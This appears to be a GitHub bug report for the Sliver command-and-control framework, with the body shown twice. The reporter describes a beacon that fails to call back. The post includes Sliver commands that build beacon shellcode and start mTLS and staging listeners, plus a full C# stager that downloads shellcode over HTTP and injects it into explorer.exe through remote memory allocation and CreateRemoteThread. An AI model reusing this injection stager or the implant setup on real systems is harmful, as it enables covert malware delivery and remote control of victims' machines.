You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Describe the bug
Unable to get a beacon back when injecting sliver shellcode from a custom stager.
To Reproduce
Steps to reproduce the behavior:
[server] sliver > profiles new beacon --mtls 192.168.1.4:443 --format shellcode --disable-sgn --debug my_profile
[*] Saved new implant profile (beacon) my_profile
[server] sliver > mtls --lport 443
[*] Starting mTLS listener ...
[*] Successfully started job #1
[server] sliver > stage-listener --url http://0.0.0.0:80 --profile my_profile
[*] No builds found for profile my_profile, generating a new one
[*] Sliver name for profile my_profile: FAIR_STOREY
[*] Job 2 (http) started
[server] sliver > jobs
ID Name Protocol Port Stage Profile
==== ====== ========== ====== =======================================
1 mtls tcp 443
2 http tcp 80 my_profile (Sliver name: FAIR_STOREY)
I have tested from two known working shellcode remote process injectors. One written in C# and one in Rust, and the behavior is the same. The shellcode is retrieved and injected without issue, but the remote process (explorer.exe) crashes and no beacon is received.
C# stager used:
public static int Main() {
System.Net.WebClient wc = new System.Net.WebClient();
byte[] resp = wc.DownloadData("http://192.168.1.4/test.woff");
int pid = Process.GetProcessesByName("explorer")[0].Id;
Console.WriteLine($"PID: {pid}");
IntPtr hProc = OpenProcess(0x001F0FFF, false, (uint)pid);
int scLen = resp.Length;
Console.WriteLine($"Shellcode Len: {scLen}");
IntPtr addr = VirtualAllocEx(hProc, IntPtr.Zero, (uint)scLen, 0x00001000 | 0x00002000, 0x04);
Console.WriteLine($"Allocated memory at: {"0x" + addr.ToString("x")}");
IntPtr bw = IntPtr.Zero;
WriteProcessMemory(hProc, addr, resp, scLen, out bw);
Console.WriteLine($"Bytes Written into memory: {bw}");
uint op = 0;
VirtualProtectEx(hProc, addr, (UIntPtr)scLen, 0x20, out op);
Console.WriteLine("Executing");
IntPtr hThread = CreateRemoteThread(hProc, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
if (hThread != IntPtr.Zero)
{
Console.WriteLine("Create remote thread OK");
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
return 1;
}
I have also tried injecting into a variety of different processes with no success.
Expected behavior
I expect the beacon to spawn.
Screenshots
The shellcode is successfully being retrieved from the stager.
Executing the C# stager:
Desktop (please complete the following information):
OS: Ubuntu 22.04
Version: v1.5.41
Additional context
I have also tried generating full beacon shellcode to download and inject from my stager and had the same results. generate beacon --mtls 192.168.1.4:443 --disable-sgn --format shellcode --save /root/
The text was updated successfully, but these errors were encountered:
Describe the bug
Unable to get a beacon back when injecting sliver shellcode from a custom stager.
To Reproduce
Steps to reproduce the behavior:
I have tested from two known working shellcode remote process injectors. One written in C# and one in Rust, and the behavior is the same. The shellcode is retrieved and injected without issue, but the remote process (explorer.exe) crashes and no beacon is received.
C# stager used:
I have also tried injecting into a variety of different processes with no success.
Expected behavior
I expect the beacon to spawn.
Screenshots
The shellcode is successfully being retrieved from the stager.
Executing the C# stager:
Desktop (please complete the following information):
Additional context
I have also tried generating full beacon shellcode to download and inject from my stager and had the same results.
generate beacon --mtls 192.168.1.4:443 --disable-sgn --format shellcode --save /root/
The text was updated successfully, but these errors were encountered: